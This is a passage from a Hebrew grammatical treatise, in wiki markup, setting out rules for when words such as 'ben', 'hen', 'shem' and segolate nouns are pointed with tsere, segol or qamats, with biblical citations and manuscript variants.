{{צ|אֶ֥ת גְּאוֹן יַעֲקֹב}} {{ק|([[תהלים מז ה]])}}, {{צ|כִּי אֶ֥ת אֲשֶׁר יֶאֱהַב יְיָ יוֹכִיחַ}} {{ק|([[משלי ג יב]])}}.

ועוד דע והבן: כל {{צ|בֵּן}} שהוא עומד בטעם או במשרת, הוא ננקד בצירי, כגון {{צ|וּלְשָׂרָה בֵֽן}} {{ק|([[בראשית יח יד]])}}, {{צ|וַתֵּלֶד בֵּ֔ן}} {{ק|([[בראשית ד כה]])}}, [כי&quot;מ: כִּי אֵין לוֹ בֵּ֑ן}} {{ק|([[במדבר כז ד]])}}]. בר מן ז' שהן עומדין במשרת ופתח, וסימ': {{צ|הַלְּבֶ֤ן מֵאָה שָׁנָה יִוָּלֵד}} {{ק|([[בראשית יז יז]])}}, {{צ|וְשָׁחַט אֶת־בֶּ֥ן הַבָּקָר}} {{ק|([[ויקרא א ה]])}}, {{צ|בֶּ֚ן הַיִּשְׂרְאֵלִית}} {{ק|([[ויקרא כד י]])}}, {{צ|וְאֶת זְכַרְיָהוּ בֶּ֥ן יְבֶרֶכְיָהוּ}} {{ק|([[ישעיהו ח ב]])}}, {{צ|זְכַרְיָה בֶּ֣ן מְשֶׁלֶמְיָה}} {{ק|([[דה&quot;א ט כא]])}}, {{צ|בֶּ֣ן יָאִיר בֶּן שִׁמְעִי}} {{ק|([[אסתר ב ה]])}}, {{צ|אֶת בַּת מְשֻׁלָּם בֶּ֥ן בֶּרֶכְיָה}} {{ק|([[נחמיה ו יח]])}}. 

ואם הוא במקף, כגון {{צ|בֶּן־יִצְהָר בֶּן־קְהָת בֶּן־לֵוִי}} {{ק|([[במדבר טז א]])}}, הוא ננקד בסגול, בר מן ד' קמצין: {{צ|וַתֵּלֶד בֵּן־שִׁשִּׁי לְיַעֲקֹב}} {{ק|([[בראשית ל יט]])}}, {{צ|וַיִּמָּלֵט בֵּן־אֶחָד לַאֲחִימֶלֶךְ בֶּן אֲחִטוּב}} {{ק|([[ש&quot;א כב כ]])}}, {{צ|וְלִמְפִיבֹשֶׁת בֵּן־קָטָן}} {{ק|([[ש&quot;ב ט יב]])}}, {{צ|וְהוֹלִיד בֵּן־פָּרִיץ}} {{ק|([[יחזקאל יח י]])}}. 

וכל {{צ|בֵּין}} שיתכן להיות בו יו&quot;ד הנקרא כמו בֵּנְתַּיִם, כגון {{צ|בֵּין הָאוֹר וּבֵין הַחֹשֶׁךְ}} {{ק|([[בראשית א ד]])}}, בין שיהיה בו טעם או משרת ובין בא במקף, ננקד בצירי. 

ועוד דע וראה שכל מקום שתמצא {{צ|הֵן}} בכל המקרא הוא ננקד בצירי, בר מן ה' שהן ננקדין בסגול, וסימן: {{צ|הֶן־עָם֙ כְּלָבִיא יָקוּם}} {{ק|([[במדבר כג כד]])}}, {{צ|הֶן־עָם֙ לְבָדָד יִשְׁכֹּן}} {{ק|([[במדבר כג ט]])}}, {{צ|הֶן־ה֭וּא מְשׂוֹשׂ דַּרְכּוֹ}} {{ק|([[איוב ח יט]])}}, {{צ|הֶן־תָּ֭וִי}} {{ק|([[איוב לא לה]])}}, {{צ|הֶן־זֹ֣את}} {{ק|([[איוב לג יב]])}}. וכל דסמיך {{צ|כֹּל}} {{ק|([[איוב יג א]] ועוד 1)}}, {{צ|אֵל}} {{ק|([[איוב ח כ]] ועוד 3)}}, {{צ|אֵלֶּה}} {{ק|([[איוב כו יד]])}}, דכוותהון ננקדין בסגול ובאים במקף עם התיבה שלאחריהן באות הראשונה שלתיבה. וכל שהטעם ניתק לאות השנייה או השלישית, הוא ננקד בצירי, כגון {{צ|הֵ֣ן הֵ֜נָּה}} {{ק|([[במדבר לא טז]])}}. 

וכדרך {{צ|הֵן}} כן מנהג {{צ|שֵׁשׁ}}, כגון {{צ|שֵׁשׁ־הַשְּׂעֹרִ֥ים הָאֵלֶּה}} {{ק|([[רות ג יז]])}} ננקד בצירי, מפני שהטעם הסמוך לו אינו בא באות הראשונה; [כי&quot;פ: אבל {{צ|שֶׁשׁ־הֵ֭נָּה שָׂנֵא יְיָ}} {{ק|([[משלי ו טז]])}} הוא ננקד בסגול, מפני שהטעם בא באות הראשונה. וכל {{צ|שֵׁשׁ מָשְׁזָר}} {{ק|([[שמות כו א]])}}, {{צ|וְאֶת הַשֵּׁשׁ}} {{ק|([[שמות כח ה]])}}, קמצין.] 

[כי&quot;פ: וכן דרך {{צ|יֵשׁ}}, {{צ|שֵׁן}}, {{צ|כֶּן־הוּא}} {{ק|([[בראשית מד י]])}}, {{צ|יֶשׁ־הֶבֶל}} {{ק|([[קהלת ח יד]])}}, {{צ|יֶשׁ־לָנוּ אָב זָקֵן}} {{ק|([[בראשית מד כ]])}}, {{צ|מַה־יֶּשׁ לָךְ בַּבָּיִת}} {{ק|([[מ&quot;ב ד ב]])}}, {{צ|עַל שֶׁן־סֶלַע וּמְצוּדָה}} {{ק|([[איוב לט כח]])}}, {{צ|הִנֵּה זֹאת חֲקַרְנוּהָ כֶּן־הִיא}} {{ק|([[איוב ה כז]])}}, {{צ|כִּי כְּמוֹ שָׁעַר בְּנַפְשׁוֹ כֶּן־הוּא}} {{ק|([[משלי כג ז]])}}. וגם {{צ|לָ֤תֶת לָנוּ}} {{ק|([[דברים ו כג]])}}, {{צ|הָרְאֻיוֹת לָֽתֶת־לָ֖הּ}} {{ק|([[אסתר ב ט]])}}, כמו כן, הואיל שהטעם באות הראשנה. וגם {{צ|בְּלֶב יָם}} {{ק|([[שמות טו ח]])}} כמו כן.] 

[כי&quot;מ: וכל {{צ|שֶׁן}} שהוא במקף ננקד בסגול כגון {{צ|שֶׁן־בְּשֵׁן}} {{ק|([[דברים יט כא]] עי&quot;ש)}}, {{צ|עַל שֶׁן סֶלַע וּמְצוּדָה}} {{ק|([[איוב לט כח]])}}. אבל {{צ|שֵׁן}} העומד בטעם או במשרת, כגון {{צ|וְשֵׁ֤ן בְּהֵמֹת}} {{ק|([[דברים לב כד]] עי&quot;ש)}}, ננקד בצירי.] 

[כי&quot;מ: וכל {{צ|יֶשׁ}} שהוא במקף ננקד בסגול, כגון {{צ|יֶשׁ־הֶבֶל}} {{ק|([[קהלת ח יד]])}}, {{צ|יֶשׁ־לָנוּ אָב זָקֵן}} {{ק|([[בראשית מד כ]])}}, {{צ|יֶּשׁ־לָךְ בַּבָּיִת}} {{ק|([[מ&quot;ב ד ב]])}}; אבל {{צ|וְיֵ֤שׁ יְיָ עִמָּנוּ}} {{ק|([[שופטים ו יג]])}}, {{צ|יֵ֛שׁ וָיֵשׁ}} {{ק|([[מ&quot;ב י טו]])}}, ננקד בצירי.] 

[כי&quot;מ: וכל {{צ|כֶּן}} הבא במקף, כגון {{צ|הִנֵּה זֹאת חֲקַרְנוּהָ כֶּן־הִיא}} {{ק|([[איוב ה כז]])}}, {{צ|כִּי כְּמוֹ שָׁעַר בְּנַפְשׁוֹ כֶּן הוּא}} {{ק|([[משלי כג ז]])}}, ננקד בסגול; אבל {{צ|וַיְהִי כֵֽן}} {{ק|([[בראשית א ז]])}}, {{צ|וַתֹּאמֶר כֵּ֗ן}} {{ק|([[יהושע ב ד]])}}, {{צ|לֹא כֵ֗ן לְכוּ נָא}} {{ק|([[שמות י יא]])}}, ננקד בצירי.]

[כי&quot;מ: וכל {{צ|לָ֤תֶת לָנוּ}} {{ק|([[דברים ו כג]] ועוד רבים)}}, {{צ|הָרְאֻיוֹת לָֽתֶת־לָהּ}} {{ק|([[אסתר ב ט]])}}, כמו כן, הואיל שהטעם באות ראשונה.] 

[כי&quot;מ: וגם {{צ|בְּלֶב יָם}} {{ק|([[שמות טו ח]])}} כמו כן, אבל {{צ|וְנָמֵס כָּל לֵב}} {{ק|([[יחזקאל כא יב]])}} ננקד בצירי.]

[כי&quot;מ: וכל {{צ|גֵּר}}, {{צ|הַגֵּר}}, {{צ|לַגֵּר}}, ננקד בצירי.]

כל {{צ|שֵׁם}} שבמקרא בצירי [כי&quot;פ: הוא בא, בין דבוק ובין אינו דבוק]. בר מן ו', וסימן: {{צ|וַיִּקְרָא אַבְרָם שֶׁם־בְּנוֹ}} {{ק|([[בראשית טז טו]])}}, {{צ|עַל שֶׁם־שֶׁמֶר}} {{ק|([[מ&quot;א טז כד]])}}, {{צ|וְגַם שֶׁם־עִיר הֲמוֹנָה}} {{ק|([[יחזקאל לט טז]])}}, [כי&quot;פ: {{צ|וַיִּקְרָא אַבְרָהָם אֶת־שֶׁם־בְּנוֹ}} {{ק|([[בראשית כא ג]])}}, {{צ|מַה שְּׁמוֹ וּמַה־שֶּׁם־בְּנוֹ}} {{ק|([[משלי ל ד]])}},] {{צ|וַיְהִי שֶׁם־בְּנוֹ הַבְּכוֹר יוֹאֵל}} {{ק|([[ש&quot;א ח ב]])}}, וכך הם מסורין במסורת. וכל {{צ|שֵׁם חָם וָיָפֶת}} {{ק|([[בראשית י א]])}} בצירי קמצין. 

[כי&quot;מ: כל {{צ|מַכֵּה}} שבמקרא קמצין, בר מן ה' פתחין, וסימ': {{צ|מִצְרִי}} {{ק|([[שמות ב יא]])}}, {{צ|בַּמַּטֶּה}} {{ק|([[שמות ז יז]])}}, {{צ|וּבְקַשְׁתְּךָ}} {{ק|([[מ&quot;ב ו כב]])}}, {{צ|עַמִּים}} {{ק|([[ישעיהו יד ו]])}}, (תהום) [{{צ|תָחוֹס}} {{ק|([[יחזקאל ז ט]])}}].]

[כי&quot;מ: כל {{צ|עַל}} {{צ|וְעַל}} שבמקרא פתחין משום שהן דבוקין – {{צ|עַל כֵּן}} – בר מן ב' קמצין: {{צ|הֻקַם עָל}} {{ק|([[ש&quot;ב כג א]])}}, {{צ|יָשׁוּבוּ לֹא עָל}} {{ק|([[הושע ז טז]])}}, שהן עומדין.]

ועוד הבן בזה השער: כל מקום שתמצא {{צ|תֵּלֵךְ}}, {{צ|יֵלֵךְ}}, {{צ|תֵּלֵד}}, {{צ|יֵשֵׁב}}, {{צ|תֵּשֵׁב}}, שהן להבא, כולהון בצירי ננקדין, כגון {{צ|וְהָיָה כִּי תֵלֵךְ עִמָּנוּ}} {{ק|([[במדבר י לב]])}}, {{צ|יֵלֶךְ נָא אֲדֹנָי}} {{ק|([[שמות לד ט]])}}, {{צ|אֲשֶׁר תֵּלֵד לְךָ שָׂרָה}} {{ק|([[בראשית יז כא]])}}, {{צ|כִּי תֵשֵׁב לִלְחוֹם אֶת מוֹשֵׁל}} {{ק|([[משלי כג א]])}}, {{צ|יֵשֵׁב נָא}} {{ק|([[בראשית מד לג]] עי&quot;ש)}} וכל דומיהן, ננקדין בצירי. 

ואם נוספה וי&quot;ו בראש התיבה תתכן אותה התיבה לשעבר, כגון {{צ|וַתֵּלֶד שָׂרָה אֵשֶׁת אֲדֹנִי}} {{ק|([[בראשית כד לו]])}}, {{צ|וַתֵּלֶךְ וַתֵּשֶׁב לָהּ מִנֶּגֶד}} {{ק|([[בראשית כא טז]])}}, {{צ|וַיֵּלֶךְ מֹשֶׁה}} {{ק|([[שמות ד יח]])}}, וַיֵּשֶׁב בְּאֶרֶץ מִדְיָן}} {{ק|([[שמות ב טו]])}}, הן וכל דומיהן הראשון בצירי והשני בסגול. 

ואם תתכן התיבה להיות להבא, אף על פי שיהיה וי&quot;ו בראש התיבה, כגון וְיֵלֵךְ, וְיֵשֵׁב, הואיל שהוי&quot;ו ננקדת בשבא, נשמעת המילה להבא, ותתכן להיות כולה בצירי. וגם {{צ|תֵּרֵא אַשְׁקְלוֹן}} {{ק|([[זכריה ט ה]] עי&quot;ש)}}, {{צ|וְתֵרֵא אֹיַבְתִּי}} {{ק|([[מיכה ז י]] עי&quot;ש)}}, כוותהון קמצין ולהבא. אבל {{צ|וַתֵּרֶא בְּאֵר מָיִם}} {{ק|([[בראשית כא יט]])}} [כי&quot;פ: הנראה] [כי&quot;מ: {{צ|וַתֵּ֣רֶא הָאָתוֹן}} {{ק|([[במדבר כב כג]])}}, שהן] לשעבר, חציו בצירי וחציו בסגול.

וכל אלו התיבות שהם לשעבר הטעם מלעיל, ואלו שהן להבא הטעם מלרע. אבל {{צ|וַתֵּצֵא}}, {{צ|תֵּצֵא}}, {{צ|וְתֵצֵא}}, יוצאין מתנאי זה, שאפילו הן לשעבר הן ננקדין בצירי. 

ועוד אודיעך: כל {{צ|אֹמֶר}}, {{צ|אֹכֶל}}, {{צ|אֹמֶן}} שם, כגון {{צ|אֵֽין־אֹ֭מֶר וְאֵין דְּבָרִים}} {{ק|([[תהלים יט ד]])}}, {{צ|אֹ֣כֶל בַּכֶּסֶף תַּשְׁבִּרֵנִי}} {{ק|([[דברים ב כח]])}}, {{צ|אֱמוּנָה אֹֽמֶן}} {{ק|([[ישעיהו כה א]])}} הן ודומיהן ננקדין בסגול וטעמן לעיל. ואם התיבה לשון פועֵל, כגון {{צ|אֹמֵ֣ר אָנִי מַעֲשַׂי}} {{ק|([[תהלים מה ב]])}}, {{צ|צַדִּיק אֹ֭כֵל לְשֹׂבַע נַפְשׁוֹ}} {{ק|([[משלי יג כה]])}}, {{צ|וַיְהִי אֹמֵ֜ן אֶת הֲדַסָּה}} {{ק|([[אסתר ב ז]])}}, וכל הדומין להן, ננקדין בצירי וטעמן לרע. 

ובכל מקום שתמצא תיבה שהיא לשון ציווי ובאה ה&quot;א בסוף התיבה, כגון {{צ|צַוֵּה יְשׁוּעוֹת יַעֲקֹב}} {{ק|([[תהלים מד ה]])}}, {{צ|הַטּוֹב בְּעֵינֶיךָ עֲשֵׂה}} {{ק|([[ש&quot;א יד מ]])}}, {{צ|בְּנֵה לְךָ בַיִת}} {{ק|([[מ&quot;א ב לו]])}}, [כי&quot;פ: {{צ|רְאֵה אָנֹכִי}} {{ק|([[דברים יא כו]])}}] [כי&quot;מ: {{צ|רְאֵה אֱלֹהִים עֵד}} {{ק|([[בראשית לא נ]])}}], הן וכל דומיהן ננקדין בצירי. 

ואם נוספה עליהם אחת מאותיות אית&quot;ן בראש התיבה, כגון {{צ|אֶעֱשֶׂה}}, {{צ|אֶבְנֶה}}, {{צ|אֶרְאֶה}}, {{צ|אֲצַוֶּה}}, {{צ|יַעֲשֶׂה}}, {{צ|יִבְנֶה}}, {{צ|יִרְאֶה}}, {{צ|יְצַוֶּה}}, {{צ|תַּעֲשֶׂה}}, {{צ|תִּבְנֶה}}, {{צ|תִּרְאֶה}}, {{צ|תְּצַוֶּה}}, {{צ|נַעֲשֶׂה}}, {{צ|נִבְנֶה}}, {{צ|נִרְאֶה}}, {{צ|נְצַוֶּה}}, הן ננקדין בסגול, וכל דומיהן, ואלו ואלו טעמם לרע. 

וכל לשון {{צ|מַעֲשֶׂה}}, {{צ|מַשְׁקֶה}}, {{צ|מִקְנֶה}}, {{צ|מִרְעֶה}}, אם הוא נסמך לתיבה שלאחריו, כגון {{צ|מַעֲשֵׂה חָרַשׁ}} {{ק|([[שמות כח יא]])}}, {{צ|מַשְׁקֵה הַמֶּלֶךְ שְׁלֹמֹה}} {{ק|([[מ&quot;א י כא]])}}, {{צ|מִקְנֵה צֹאן וּמִקְנֵה בָקָר}} {{ק|([[בראשית כו יד]])}}, {{צ|מִרְעֵה עֲדָרִים}} {{ק|([[ישעיהו לב יד]])}}, {{צ|מַעֲלֵה מִנְחָה}} {{ק|([[ישעיהו סו ג]])}}, {{צ|מִשְׁנֵה (למלך) [הַמֶּלֶךְ]}} {{ק|([[דה&quot;ב כח ז]])}}, {{צ|טוֹב מַרְאֵה עֵינַיִם}} {{ק|([[קהלת ו ט]])}}, {{צ|שֵׂה כְשָׂבִים וְשֵׂה עִזִּים}} {{ק|([[דברים יד ד]])}}, {{צ|מַכֵּה אִישׁ}} {{ק|([[שמות כא יב]])}}, [כי&quot;פ: {{צ|מַטֵּה רְאוּבֵן}} {{ק|([[במדבר א כא]])}}, {{צ|מַטֵּה שִׁמְעוֹן}} {{ק|([[במדבר א כג]])}},] {{צ|מַטֵּה אַהֲרֹן בְּתוֹךְ מַטּוֹתָם}} {{ק|([[במדבר יז כא]])}}, אלו וכל דומיהן ננקדין בצירי, מפני שהן נקראין ונסברין עם התיבה שלאחריהן. אבל אם הן עומדין בפני עצמן, כגון {{צ|כֹּל כְּלִי מַעֲשֶׂה}} {{ק|([[במדבר לא נא]])}}, והן [כי&quot;מ: י' פתחין:] {{צ|הַמַּשְׁקֶה וְהָאֹפֶה}} {{ק|([[בראשית מ ה]])}}, {{צ|וְלַעֲבָדֶיךָ מִקְנֶה}} {{ק|([[במדבר לב ד]])}}, {{צ|וְאַרְבַּע צֹאן תַּחַת הַשֶּׂה}} {{ק|([[שמות כא לז]])}}, {{צ|פָּרָשׁ מַעֲלֶה}} {{ק|([[נחום ג ג]])}}, {{צ|וְהִיא יֹשֶׁבֶת בִּירוּשָׁלִַם בַּמִּשְׁנֶה}} {{ק|([[מ&quot;ב כב יד]])}}, {{צ|נֶחְמָד לְמַרְאֶה}} {{ק|([[בראשית ב ט]])}}, {{צ|כִּי אֲנִי יְיָ מַכֶּה}} {{ק|([[יחזקאל ז ט]])}}, {{צ|שְׁנֵי הַמַּטּוֹת וַחֲצִי הַמַּטֶּה}} {{ק|([[במדבר לד טו]])}}, {{צ|וְקַח מֵאִתָּם מַטֶּה מַטֶּה}} {{ק|([[במדבר יז יז]])}}, {{צ|כִּי אֵין מִרְעֶה}} {{ק|([[בראשית מז ד]])}}, {{צ|אָז חֻלַּק עַד שָׁלָל מַרְבֶּה}} {{ק|([[ישעיהו לג כג]])}}, אלו וכל דומיהן ננקדין בסגול. 

וכל מקום שתמצא {{צ|בֹּנֶה}}, {{צ|עֹנֶה}}, {{צ|קֹנֶה}}, {{צ|חֹלֶה}}, {{צ|גֹּלֶה}}, [כי&quot;פ: {{צ|חֹנֶה}},] {{צ|פֹּנֶה}}, {{צ|צֹפֶה}}, {{צ|עֹלֶה}}, {{צ|מֹנֶה}}, הן וכל דומיהן ננקדין בסגול בין סמוכין בין עומדין. וכל {{צ|עֹשֶׂה}} דכוותהון ננקדין בסגול, בר מן ח' שהן ננקדין בצירי. וכל אמ&quot;ת דתק&quot;ע – א' אלה הדברים, מ' מלכים, ת' תרי עשר, ד' דברי הימים, ת' תילים, ק' קהלת, ע' עזרא – דכוותהון ננקדין בצירי, בר מן כ&quot;ב שהן ננקדין בסגול, וכולהון נמסרין במסורת הגדולה. וכל {{צ|הִנֵּה}} ננקדין בצירי, בר מן חד שהוא בסגול ומדגיש האות שלאחריו: {{צ|וַיֹּאמֶר הִנֶּה נָּא אֲדֹנַי סוּרוּ נָא}} {{ק|([[בראשית יט ב]])}}, ואין זולתו. 

וכל מקום שתמצא אות באמצע תיבה ואחריה ח&quot;ת או עי&quot;ן והן סוף תיבה, כגון {{צ|מִזְבֵּחַ}}, {{צ|הַשְׁבֵּעַ}}, {{צ|יִזָּרֵעַ}}, {{צ|כֹּרֵעַ}}, {{צ|שׁוֹמֵעַ}}, {{צ|פּוֹתֵחַ}}, {{צ|זוֹרֵחַ}}, דע שאותה אות אשר למעלה מן החי&quot;ת ומן העי&quot;ן ננקדת בצירי, מפני הברת האל&quot;ף הממוצעת בינותם. 

וכל מ&quot;ם שבסוף התיבה, והאות הקדומה לה היא משמשת ליסוד התיבה ומתקנת המלה, כגון {{צ|בְּנֵיכֶם}}, {{צ|בְּנֵיהֶם}}, {{צ|עֲלֵיהֶם}}, {{צ|עֲלֵיכֶם}}, {{צ|שִׁמְכֶם}}, {{צ|דִּמְכֶם}}, {{צ|וְשַׂמְתֶּם}}, {{צ|וּלְקַחְתֶּם}}, {{צ|וַעֲשִׂיתֶם}}, {{צ|וּבֵרַכְתֶּם}}, הן וכל דומיהן ננקדין בסגול. אבל אם האות הקדומה למ&quot;ם שבסוף התיבה היא יסוד התיבה, כגון {{צ|וַיְבָרֲכֵם בַּיּוֹם הַהוּא}} {{ק|([[בראשית מח כ]])}}, {{צ|וַאֲנִי אֲבָרֲכֵם}} {{ק|([[במדבר ו כז]])}}, {{צ|כִּי תִשְׁמְרֵם}} {{ק|([[משלי כב יח]])}}, עַטְּרֵם, {{צ|חוֹתֵם תָּכְנִית}} {{ק|([[יחזקאל כח יב]])}} וכל דומיהן, ננקדין בצירי. ואלו ואלו טעמם לרע. אבל אם התיבה שֵם ואינה דיבור, כגון {{צ|רֹתֶם}}, ננקדת בסגול וטעמה מלעיל. 

ועוד אודיעך: כל מקום שתמצא תיבה וה&quot;א בתחילתה, כגון {{צ|הֵרָאוֹת}} {{ק|([[ויקרא יג יד]])}}, {{צ|הֵרָאֹה}} {{ק|([[שופטים יג כא]])}}, {{צ|הֵעָלוֹת}} {{ק|([[במדבר ט יז]])}}, {{צ|הֵאָסֵף}} {{ק|([[בראשית כט ז]])}}, {{צ|הֵאָכֹל יֵאָכֵל}} {{ק|([[ויקרא ז יח]])}}, {{צ|שְׁתֵה גַם אַתָּה וְהֵעָרֵל}} {{ק|([[חבקוק ב טז]])}}, הואיל והן לשון פעל, אף על פי שאותה ה&quot;א היא משמשת, ננקדין בצירי. אבל אם היא משמשת למילה שהיא שֵם, כגון {{צ|הֶהָמוֹן}}, {{צ|הֶחָרָבָה}}, {{צ|הַפְּלִשְׁתִּי הֶעָרֵל}} {{ק|([[ש&quot;א יז כו]])}}, הן וכל דומיהן ננקדין בסגול. ועוד: אם הוא תמוהא, כגון {{צ|הֶאָכוֹל אָכַלְנוּ מִן הַמֶּלֶךְ}} {{ק|([[ש&quot;ב יט מג]])}}, [כי&quot;פ: {{צ|הֶאָנֹכִי הָרִיתִי}} {{ק|([[במדבר יא יב]])}},] {{צ|הֶאָנֹכִי לְאָדָם שִׂיחִי}} {{ק|([[איוב כא ד]])}}, {{צ|הֶאָמוּר בֵּית יַעֲקֹב}} {{ק|([[מיכה ב ז]])}}, {{צ|הֶאָמֹר תֹּאמַר אֱלֹהִים אָנִי}} {{ק|([[יחזקאל כח ט]])}}, גם אלו ננקדין בסגול. ואם אות א&quot;ח ה&quot;ע באה אחר ה' בראש התיבה והיא ננקדת בחטף פתח, אותה ה&quot;א הקדומה לה ננקדת בסגול, כגון {{צ|הֶעֱלִיתָנוּ מִמִּצְרַיִם}} {{ק|([[שמות יז ג]])}}, {{צ|הֶעֱלִיתָ בְכֹחֲךָ}} {{ק|([[במדבר יד יג]])}}, {{צ|הֶחֱיִתָנוּ}} {{ק|([[בראשית מז כה]])}}, {{צ|הֶאֱמַנְתִּי לִרְאוֹת}} {{ק|([[תהלים כז יג]])}}. 

ועוד דע והבן: כל זמן שתהיה המלה [כי&quot;מ: על בניין מפעל] היא פתוחה, כגון {{צ|אֶרֶץ}}, {{צ|בֶּרֶךְ}} שהוא לשון ברכים – אבל המלה שהיא לשון ברכה, כמו {{צ|וּבֵרֵךְ [וְ]לֹא אֲשִׁיבֶנָּה}} {{ק|([[במדבר כג כ]])}}, {{צ|וּבֹצֵעַ בֵּרֵךְ}} {{ק|([[תהלים י ג]])}}, הן קמצין וטעמן לרע – וגם {{צ|גֶּשֶׁם}}, {{צ|דֶּרֶךְ}}, {{צ|חֶרֶם}}, {{צ|הֶבֶל}}, זרה {{צ|זֶרֶם}}, {{צ|שֶׁלֶג}}, {{צ|שֶׁמֶן}}, הן ודומיהן נפתחין בסגול כולם כמו {{צ|אֶרֶץ}} וטעמן לעיל. ובבוא מילה מן המלים האלה ודומיהן באתנחתא וסוף פסוק, נהפך תחילת המלה בקמץ גדול, כמו {{צ|אֶרֶץ אֶרֶץ אָ֑רֶץ}} {{ק|([[ירמיהו כב כט]])}} {{צ|פַּנּוּ דָ֑רֶךְ}} {{ק|([[ישעיהו נז יד]])}}, {{צ|עָלֶיךָ פָּ֑רֶץ}} {{ק|([[בראשית לח כט]])}}, {{צ|יִפְרְצֵנִי פֶרֶץ עַל פְּנֵי פָ֑רֶץ}} {{ק|([[איוב טז יד]])}}, {{צ|לְפָנָיו יֵלֶךְ דָּ֑בֶר}} {{ק|([[חבקוק ג ה]])}}, {{צ|אָיִן כִּי הַכֹּל הָֽבֶל}} {{ק|([[קהלת ג יט]])}}, {{צ|תַּחְתָּיו חַדּוּדֵי חָ֑רֶשׂ}} {{ק|([[איוב מא כב]])}}, {{צ|וְסֵתֶר זָ֑רֶם}} {{ק|([[ישעיהו לב ב]])}}, {{צ|וְלֹא עֲלֵיהֶם יִהְיֶה הַגָּֽשֶׁם}} {{ק|([[זכריה יד יז]])}}, {{צ|עָלֵימוֹ יִתְעַלֶּם שָֽׁלֶג}} {{ק|([[איוב ו טז]])}}, {{צ|וַיַּעֲמֹד הַשָּֽׁמֶן}} {{ק|([[מ&quot;ב ד ו]])}}. כל הנהפכין מן סגול באתנחתא וסוף פסוק לקמץ גדול כמו אלה, הן ננקדין כולן בסגול כשאינן באין לאתנחתא וסוף פסוק. וזקף וזרקא נלוו אליהם במיעוט מקומות, כגון {{צ|לִנְטֹעַ שָׁמַיִם וְלִיסֹד אָ֔רֶץ}} {{ק|([[ישעיהו נא טז]])}}, [כי&quot;מ: {{צ|וְרָאוּ כָּל אַפְסֵי אָ֔רֶץ}} {{ק|([[ישעיהו נב י]])}}, {{צ|נוֹטֶה שָׁמַיִם וְיֹסֵד אָ֒רֶץ}} {{ק|([[ישעיהו נא יג]])}},] והם על פי מסורת משונין מגזרתן. 

ויש מלין שהן ננקדין בסגול, ואף על פי כן לא יתכנו לבוא באתנחתא וסוף פסוק בקמץ גדול, כמו {{צ|עֶבֶר}}, {{צ|עֶדֶר}}, {{צ|מֶלֶךְ}}, {{צ|נֶגֶב}}, {{צ|מַאֲכֶלֶת}}, {{צ|קֶדֶם}}, {{צ|חֶמֶת}}, {{צ|עֶדֶן}}, {{צ|מֶלַח}}, הן וכל דומיהן על פי המסורת נכללים. וגם {{צ|חֶבֶל}} ננקד בסגול, בר מן חד שהוא ננקד חציו בצירי וחציו בסגול: {{צ|בְּטֶרֶם יָבוֹא חֵבֶל לָהּ}} {{ק|([[ישעיהו סו ז]])}}, מפני שהוא כמו מכאוב. וגם {{צ|נֶדֶר}} הוא ננקד בסגול, בר מן ה' שתחילתן בצרי וסופן בסגול: {{צ|וּלְנֵדֶר לֹא יֵרָצֶה}} {{ק|([[ויקרא כב כג]])}}, {{צ|כָּל נֵדֶר וְכָל שְׁבֻעַת אִסָּר}} {{ק|([[במדבר ל יד]])}}, {{צ|וְנֵדֶר אַלְמָנָה}} {{ק|([[במדבר ל י]])}}, {{צ|וְנָדְרוּ נֵדֶר לַייָ וְשִׁלֵּמוּ}} {{ק|([[ישעיהו יט כא]])}}, {{צ|כִּי נֵדֶר נָדַר עַבְדְּךָ}} דאבשלום {{ק|([[ש&quot;ב טו ח]])}}. 

וכל שאין יכול לבוא באתנחתא וסוף פסוק בקמץ גדול, לא יתכן תחלת התיבה להיות כי אם בצירי וסופה בסגול, כגון {{צ|אֵפֶר}}, {{צ|חֵרֶם}}, {{צ|חֵלֶק}}, {{צ|עֵרֶב רַב}} {{ק|([[שמות יב לח]])}} ו{{צ|שְׁתִי וָעֵרֶב}}, {{צ|עֵשֶׂב}}, {{צ|סֵפֶר}}, {{צ|שֵׁשֶׁת}}, {{צ|חֲמֵשֶׁת}}, {{צ|תְּכֵלֶת}}, {{צ|עֵגֶל}}, וכל דומיהן. 

{{צ|שֶׁבֶר}} כולו בסגול, בר מן ג' מקומות שתחילתו בצירי וסופו בסגול, וסימן: {{צ|כְּשֵׁבֶר נֵבֶל יוֹצְרִים}} {{ק|([[ישעיהו ל יד]])}}, {{צ|וְלֹא נֶחְלוּ עַל שֵׁבֶר יוֹסֵף}} {{ק|([[עמוס ו ו]])}}, {{צ|וּמִשֵּׁבֶר רוּחַ תְּיֵלִילוּ}} {{ק|([[ישעיהו סה יד]])}}, והנם על פי המסורת. 

וכל {{צ|תֵּשַׁע}} תחילתו בצירי וסופו בפתח, מפני שאינו יוצא באתנחתא וסוף פסוק בקמץ גדול. אבל {{צ|שֶׁבַע}} תחלתו בסגול, שהוא יוצא באתנחתא וסוף פסוק בקמץ גדול, כגון {{צ|וַיִּטַּע אֶשֶׁל בִּבְאֵר שָׁבַע}} {{ק|([[בראשית כא לג]])}}. 

וכל {{צ|יֵשַׁע}}, {{צ|לְיֵשַׁע}}, הן בצרי, בר מן ה' בסגול, וסימן: {{צ|הַרְעִיפוּ}} {{ק|([[ישעיהו מה ח]])}}, {{צ|שׂוֹשׂ}} {{ק|([[ישעיהו סא י]])}}, {{צ|וְכֹהֲנֶיהָ}} {{ק|([[תהלים קלב טז]])}}, {{צ|יִרְחֲקוּ}} {{ק|([[איוב ה ד]])}}. 

וגם {{צ|מֵצַח אַהֲרֹן}} {{ק|([[שמות כח לח]])}}, {{צ|וּמֵצַח אִשָּׁה ז&lt;!-- לא למחוק --&gt;וֹנָה}} {{ק|([[ירמיהו ג ג]])}}, {{צ|אֵין מֵזַח עוֹד}} {{ק|([[ישעיהו כג י]])}}, {{צ|וּלְמֵזַח תָּמִיד יַחְגְּרֶהָ}} {{ק|([[תהלים קט יט]])}} – כולהון ננקדין בצירי. 

